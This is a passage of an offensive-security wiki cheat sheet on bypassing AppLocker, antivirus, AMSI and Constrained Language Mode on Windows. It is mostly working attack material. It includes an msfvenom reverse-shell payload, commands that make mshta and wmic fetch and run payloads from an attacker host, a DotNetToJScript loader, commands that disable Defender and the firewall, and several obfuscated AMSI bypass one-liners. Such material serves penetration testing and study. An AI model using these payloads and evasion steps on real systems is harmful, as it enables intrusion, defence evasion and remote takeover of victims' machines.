            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The DLL is loaded by &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;, so all code runs inside a trusted process. &lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
